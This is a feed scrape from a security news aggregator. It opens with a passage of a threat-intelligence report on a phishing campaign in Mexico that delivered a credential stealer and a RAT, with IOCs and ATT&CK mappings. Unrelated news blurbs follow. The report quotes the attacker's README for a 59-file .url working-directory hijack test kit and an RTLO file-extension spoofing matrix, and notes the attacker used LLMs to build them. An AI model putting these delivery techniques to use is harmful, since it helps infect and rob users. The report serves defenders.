    • Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

    The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

    Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

    The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

    Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

    Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

    Case study 2: The "DlrtyGames" sideloading chain

    While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

    The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

    DlrtyGames-execution-chain.jpg
    Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

    ⠀

    Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

    The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

    The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

    The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

    The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

    GenAI adoption

    Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. 

    ═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

    Figure 7: Context of README.md found in the exposed directory.

    The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

    Hardcoded-$outDir-path.png
    Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.

    ⠀
    It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

    Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

    Simba-server-screenshot-panel.png
    Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

    ⠀

    Simba-server-system-requirements.png
    Figure 10: Simba service system requirements.

    ⠀

    The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

    The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

    # LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

    Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

    OPSEC is hard 

    As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

    simba-service-presentation.png
    Figure 12: Simba service presentation.

    ⠀

    The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

    The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

    Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

    We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

    Delivery panel overview

    The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

    simba-service-page-with-blocking-capabilities_.png
    Figure 13: Simba service page with blocking capabilities.

    ⠀

    The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

    We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

    The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

    Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

    The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

    Country

    Requests

    Share of requests

    Unique client IPs

    Launch events

    Mexico

    63,622

    82.5%

    2,698

    2,365

    United States

    4,032

    5.2%

    463

    47

    Germany

    2,751

    3.6%

    59

    1

    United Kingdom

    645

    0.8%

    40

    0

    Netherlands

    532

    0.7%

    49

    1

    France

    407

    0.5%

    21

    0

    Finland

    401

    0.5%

    6

    10

    Brazil

    343

    0.4%

    41

    0

    Republic of Korea

    312

    0.4%

    16

    1

    Table 3: Geographic distribution of WebDAV delivery activity.

    Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

    Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

    By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

    Protocol behavior

    The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

    Method

    Count

    PROPFIND

    57,287

    GET

    13,088

    OPTIONS

    6,597

    PROPPATCH

    125

    LOCK

    1

    Table 4: HTTP methods observed in WebDAV delivery traffic.

    Status

    Count

    207

    57,412

    200

    19,532

    206

    154

    Table 5: HTTP status codes observed in WebDAV delivery traffic.

    MITRE ATT&CK techniques

    Name

    MITRE ATT&CK technique

    Code

    Payload execution

    User Execution: Malicious File

    T1204.002

    Masquerading

    Right-to-Left Override

    T1036.002

    Masquerading

    Double File Extension

    T1036.007

    DLL sideloading

    Hijack Execution Flow: DLL

    T1574.001

    Obfuscation

    Encrypted/Encoded File

    T1027.013

    Payload unpacking

    Deobfuscate/Decode Files or Information

    T1140

    Payload carrier

    Steganography / image-carried payload data

    T1027.003

    API hiding

    Dynamic API Resolution

    T1027.007

    In-memory loading

    Reflective Code Loading

    T1620

    Injection

    Process Hollowing

    T1055.012

    Native API use

    Native API

    T1106

    Sandbox evasion

    Time Based Evasion

    T1497.003

    Anti-analysis

    Debugger / instrumentation checks

    T1622

    UAC bypass

    Bypass User Account Control

    T1548.002

    Persistence

    Registry Run Keys / Startup Folder

    T1547.001

    Persistence

    Scheduled Task

    T1053.005

    Collection

    Keylogging

    T1056.001

    Collection

    Screen Capture

    T1113

    Collection

    Clipboard Data

    T1115

    Credential access

    Credentials from Web Browsers

    T1555.003

    Credential access

    Steal Web Session Cookie

    T1539

    Collection

    Data from Local System

    T1005

    Collection

    Automated Collection

    T1119

    Staging

    Archive Collected Data: Archive via Utility

    T1560.001

    C2

    Encrypted Channel

    T1573

    Exfiltration

    Exfiltration Over C2 Channel

    T1041

    Possible persistence

    WMI Event Subscription

    T1546.003

    Phishing lure generation

    Generate Phishing Lures

    AML.T0052

    Resource Development

    Resource Development

    AML.TA0003

    Obtain capabilities via LLM tooling

    Obtain Capabilities

    AML.T0016

    LLM-assisted capability development

    Develop Capabilities

    AML.T0017

    LLM prompt crafting for attack documentation

    LLM Prompt Crafting

    AML.T0065

    Obtain capabilities via tooling

    Obtain Capabilities: Software Tools

    AML.T0016.001

    Indicators of compromise (IOCs)

    CURP campaign

    Phishing page: hxxps://gobf[.]mx

    WebDav server: onedrive[.]cv

    ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

    C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

    Domain: google.services[.]ug

    Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

    Schedule tasks: brokerhost, net_queue_32

    Staging paths:

    %TEMP%\is-XXXXX.tmp\Fo-Binary.exe

    %AppData%\Roaming\inttracer_i686_prod\

    C:\ProgramData\inttracer_i686_prod\

    DlrtyGames campaign

    C2: 23[.]94[.]252[.]228:57666

    JA3: fc54e0d16d9764783542f0146a98b300

    DlrtyGames.exe

    SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

    discord-rpc.x64.dll

    SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

    profiler16.dll

    SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

    loader-pool.db

    SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

    .NET RAT

    SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

    Staging paths:

    C:\ProgramData\basenet\

    %APPDATA%\basenet\

    Persistence:

    HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

    \com_app_bg_i686

    \messenger_component_v8_32_rc

    More indicators of compromise can be found on Rapid7’s GitHub.

    Rapid7 customers

    Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

    Conclusion

    The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

    The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

    While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

    The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

    ]]>         <![CDATA[Why The Monkey Escaped the Cage (emf2026)]]> https://tsecurity.de/de/3681107/it-security-video/why-the-monkey-escaped-the-cage-emf2026/ https://tsecurity.de/de/3681107/it-security-video/why-the-monkey-escaped-the-cage-emf2026/ Mon, 20 Jul 2026 14:33:30 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Why The Monkey Escaped the Cage (emf2026)]]> https://tsecurity.de/de/3681059/it-security-video/why-the-monkey-escaped-the-cage-emf2026/ https://tsecurity.de/de/3681059/it-security-video/why-the-monkey-escaped-the-cage-emf2026/ Mon, 20 Jul 2026 13:48:52 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Flexible PCBs for you and for me: lessons learned from DIY-ing flexible electronics with artists, makers, hackers and engineers (emf2026)]]> https://tsecurity.de/de/3680934/it-security-video/flexible-pcbs-for-you-and-for-me-lessons-learned-from-diy-ing-flexible-electronics-with-artists-makers-hackers-and-engineers-emf2026/ https://tsecurity.de/de/3680934/it-security-video/flexible-pcbs-for-you-and-for-me-lessons-learned-from-diy-ing-flexible-electronics-with-artists-makers-hackers-and-engineers-emf2026/ Mon, 20 Jul 2026 13:03:37 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Flexible PCBs for you and for me: lessons learned from DIY-ing flexible electronics with artists, makers, hackers and engineers (emf2026)]]> https://tsecurity.de/de/3680897/it-security-video/flexible-pcbs-for-you-and-for-me-lessons-learned-from-diy-ing-flexible-electronics-with-artists-makers-hackers-and-engineers-emf2026/ https://tsecurity.de/de/3680897/it-security-video/flexible-pcbs-for-you-and-for-me-lessons-learned-from-diy-ing-flexible-electronics-with-artists-makers-hackers-and-engineers-emf2026/ Mon, 20 Jul 2026 12:48:55 +0200 🎥 IT Security Video tsecurity.de <![CDATA[GTA III als spielbares TV-Display in GTA: San Andreas – Direct3D-Texture-Rendering im Mod]]> https://tsecurity.de/de/3680804/it-security-nachrichten/gta-iii-als-spielbares-tv-display-in-gta-san-andreas-direct3d-texture-rendering-im-mod/ https://tsecurity.de/de/3680804/it-security-nachrichten/gta-iii-als-spielbares-tv-display-in-gta-san-andreas-direct3d-texture-rendering-im-mod/ Mon, 20 Jul 2026 12:09:56 +0200 📰 IT Security Nachrichten tsecurity.de LONDON (IT BOLTWISE) – Ein Modder hat demonstriert, wie sich GTA III in GTA: San Andreas als echtes, spielbares TV-Display integrieren lässt. Wichtig: Es ist keine Spiegelung per Aufnahme, sondern ein Live-Render direkt in eine GPU-Texture, die das laufende Spiel „füttert“. Damit können Spieler zur Laufzeit zwischen CJ in San Andreas und Claude in GTA […]

    Dieser Beitrag GTA III als spielbares TV-Display in GTA: San Andreas – Direct3D-Texture-Rendering im Mod erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

    ]]>         <![CDATA[AI Security at Scale, CMMC phase II paused, and the Weekly Enterprise News - Keith Hollender - ESW #468]]> https://tsecurity.de/de/3680728/it-security-nachrichten/ai-security-at-scale-cmmc-phase-ii-paused-and-the-weekly-enterprise-news-keith-hollender-esw-468/ https://tsecurity.de/de/3680728/it-security-nachrichten/ai-security-at-scale-cmmc-phase-ii-paused-and-the-weekly-enterprise-news-keith-hollender-esw-468/ Mon, 20 Jul 2026 11:37:16 +0200 📰 IT Security Nachrichten tsecurity.de Interview with Keith Hollender, CEO and Co-Founder of Arcova

    Why AI Security Is Becoming an Execution Problem, Not Just a Governance Problem

    As enterprises move from AI experimentation to adoption at scale, security leaders are under pressure to enable innovation without introducing unmanaged risk. The challenge is no longer whether organizations should pursue AI, but how they can govern it, secure it, and operationalize it in ways that stand up to real-world business and threat conditions.

    In this conversation, Keith Hollender discusses what Arcova is seeing across enterprise environments as organizations work to connect cybersecurity, AI governance, resilience, and broader transformation priorities. He explores where companies are getting stuck, why traditional siloed approaches are falling short, and what it takes to move from strategy decks to secure execution.

    Keith also shares how Arcova's practitioner-led, relationship-driven model helps organizations turn complexity into clarity by embedding with client teams, solving urgent problems hands-on, and building capabilities designed to last. The conversation also covers Arcova's continued growth, including expansion into the Middle East, and what global demand signals reveal about the next phase of cybersecurity and AI consulting.

    Segment Resources:

    For more information about Arcova and how they can help your enterprise shape what's next, please visit:

    https://securityweekly.com/arcova

    Topic: CMMC Pause creating chaos among federal contractors

    This one sent some shockwaves through the CMMC community, particularly the hundreds or thousands of folks gearing up to assist with the validation that phase 2 aimed to provide. The TL;DR - defense contractors have been required to comply with CMMC controls for years, but self-attestation means that many probably haven't been meeting the requirements. Perhaps, rather than have tons of defense contractors fail the test, they just suspended the requirement for the test itself.

    I think Howard Holton nails it here when he says:

    "100,000 defense contractors needed third-party assessments. Roughly 100 authorized assessors exist. That's 1,000 assessments each, with the deadline in November."

    PCI already created a model that works for a scenario like this. If you're small, you self-assess. If you're big enough, an independent auditor comes to check you out once a year. I'm sure they were probably aware of this and chose not to go down that path for some reasons. I'm not aware of those reasons.

    What this means:

    • Phase II is paused
    • Phase I self-assessments still in place (note, however, that phase II existed, because self-attestation didn't work)
    • NIST SP 800-171 Rev 2 and DFARS 252.204-7012 compliance still required
    • 60-day review aims to reform CMMC
    • DoW opened an RFI for industry perspectives on what they should do
    • CMMC characterized as a "compliance burden" and "red tape"
    • False Claims Act and DOJ's cyber-fraud enforcement are still on the table

    More resources:

    • CIO Davies' post on Twitter
    • Administrator of the Small Business Administration, Kelly Loeffler's post
    • A useful LinkedIn post that breaks down a lot of what this really means (and doesn't)

    Weekly Enterprise News

    Finally, in the enterprise security news,

    1. will AI eliminate more cybersecurity jobs than it creates?
    2. Linus's law, amended
    3. the biggest patch Tuesday ever
    4. AI context bombs
    5. AI workflows are a security disaster
    6. people using AI in areas they don't understand
    7. ransomware crews are hitting legal firms hard
    8. lessons learned from CISA's recent github leak
    9. demystify your USB cables!

    All that and more, on this episode of Enterprise Security Weekly.

    Visit https://www.securityweekly.com/esw for all the latest episodes!

    Show Notes: https://securityweekly.com/esw-468

    ]]>         <![CDATA[AI Security at Scale, CMMC phase II paused, and the Weekly Enterprise News - ESW #468]]> https://tsecurity.de/de/3680666/it-security-video/ai-security-at-scale-cmmc-phase-ii-paused-and-the-weekly-enterprise-news-esw-468/ https://tsecurity.de/de/3680666/it-security-video/ai-security-at-scale-cmmc-phase-ii-paused-and-the-weekly-enterprise-news-esw-468/ Mon, 20 Jul 2026 11:03:55 +0200 🎥 IT Security Video tsecurity.de Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0

    Interview with Keith Hollender, CEO and Co-Founder of Arcova

    Why AI Security Is Becoming an Execution Problem, Not Just a Governance Problem

    As enterprises move from AI experimentation to adoption at scale, security leaders are under pressure to enable innovation without introducing unmanaged risk. The challenge is no longer whether organizations should pursue AI, but how they can govern it, secure it, and operationalize it in ways that stand up to real-world business and threat conditions.

    In this conversation, Keith Hollender discusses what Arcova is seeing across enterprise environments as organizations work to connect cybersecurity, AI governance, resilience, and broader transformation priorities. He explores where companies are getting stuck, why traditional siloed approaches are falling short, and what it takes to move from strategy decks to secure execution.

    Keith also shares how Arcova’s practitioner-led, relationship-driven model helps organizations turn complexity into clarity by embedding with client teams, solving urgent problems hands-on, and building capabilities designed to last. The conversation also covers Arcova’s continued growth, including expansion into the Middle East, and what global demand signals reveal about the next phase of cybersecurity and AI consulting.

    Segment Resources:
    - https://arcova.com/sectors/
    - https://arcova.com/category/blog/

    For more information about Arcova and how they can help your enterprise shape what's next, please visit: https://securityweekly.com/arcova

    Topic: CMMC Pause creating chaos among federal contractors

    This one sent some shockwaves through the CMMC community, particularly the hundreds or thousands of folks gearing up to assist with the validation that phase 2 aimed to provide.
    The TL;DR - defense contractors have been required to comply with CMMC controls for years, but self-attestation means that many probably haven't been meeting the requirements. Perhaps, rather than have tons of defense contractors fail the test, they just suspended the requirement for the test itself.

    I think Howard Holton nails it here when he says:

    "100,000 defense contractors needed third-party assessments. Roughly 100 authorized assessors exist. That's 1,000 assessments each, with the deadline in November."

    PCI already created a model that works for a scenario like this. If you're small, you self-assess. If you're big enough, an independent auditor comes to check you out once a year. I'm sure they were probably aware of this and chose not to go down that path for some reasons. I'm not aware of those reasons.

    What this means:

    - Phase II is paused
    - Phase I self-assessments still in place (note, however, that phase II existed, because self-attestation didn't work)
    - NIST SP 800-171 Rev 2 and DFARS 252.204-7012 compliance still required
    - 60-day review aims to reform CMMC
    - DoW opened an RFI for industry perspectives on what they should do
    - CMMC characterized as a "compliance burden" and "red tape"
    - False Claims Act and DOJ's cyber-fraud enforcement are still on the table

    More resources:

    - CIO Davies' post on Twitter
    - Administrator of the Small Business Administration, Kelly Loeffler's post
    - A useful LinkedIn post that breaks down a lot of what this really means (and doesn't)

    Weekly Enterprise News

    Finally, in the enterprise security news,

    1. will AI eliminate more cybersecurity jobs than it creates?
    2. Linus’s law, amended
    3. the biggest patch Tuesday ever
    4. AI context bombs
    5. AI workflows are a security disaster
    6. people using AI in areas they don’t understand
    7. ransomware crews are hitting legal firms hard
    8. lessons learned from CISA’s recent github leak
    9. demystify your USB cables!

    All that and more, on this episode of Enterprise Security Weekly.

    Visit https://www.securityweekly.com/esw for all the latest episodes!

    Show Notes: https://securityweekly.com/esw-468

    ]]>         <![CDATA[CVE-2026-15548 | Shibby Tomato up to 1.28.0000 DNS List Rendering /usr/sbin/httpd sub_407220 stack-based overflow (IJTQ5R)]]> https://tsecurity.de/de/3679661/sicherheitsluecken/cve-2026-15548-shibby-tomato-up-to-1280000-dns-list-rendering-usrsbinhttpd-sub407220-stack-based-overflow-ijtq5r/ https://tsecurity.de/de/3679661/sicherheitsluecken/cve-2026-15548-shibby-tomato-up-to-1280000-dns-list-rendering-usrsbinhttpd-sub407220-stack-based-overflow-ijtq5r/ Sun, 19 Jul 2026 17:07:49 +0200 🕵️ Sicherheitslücken tsecurity.de critical has been detected in Shibby Tomato up to 1.28.0000. This vulnerability affects the function sub_407220 of the file /usr/sbin/httpd of the component DNS List Rendering. The manipulation leads to stack-based buffer overflow. This vulnerability is uniquely identified as CVE-2026-15548. The attack is possible to be carried out remotely. Moreover, an exploit is present. This project is superseded by FreshTomato.]]> <![CDATA[Foxdog Studios: Robo Bingo 2.0 (emf2026)]]> https://tsecurity.de/de/3679426/it-security-video/foxdog-studios-robo-bingo-20-emf2026/ https://tsecurity.de/de/3679426/it-security-video/foxdog-studios-robo-bingo-20-emf2026/ Sun, 19 Jul 2026 14:03:21 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Foxdog Studios: Robo Bingo 2.0 (emf2026)]]> https://tsecurity.de/de/3679416/it-security-video/foxdog-studios-robo-bingo-20-emf2026/ https://tsecurity.de/de/3679416/it-security-video/foxdog-studios-robo-bingo-20-emf2026/ Sun, 19 Jul 2026 13:47:53 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Two Hobbyists, a Hedgehog Rescue, and an Exciting Hedgehog Tracking Project (Project HEDGE) (emf2026)]]> https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/ 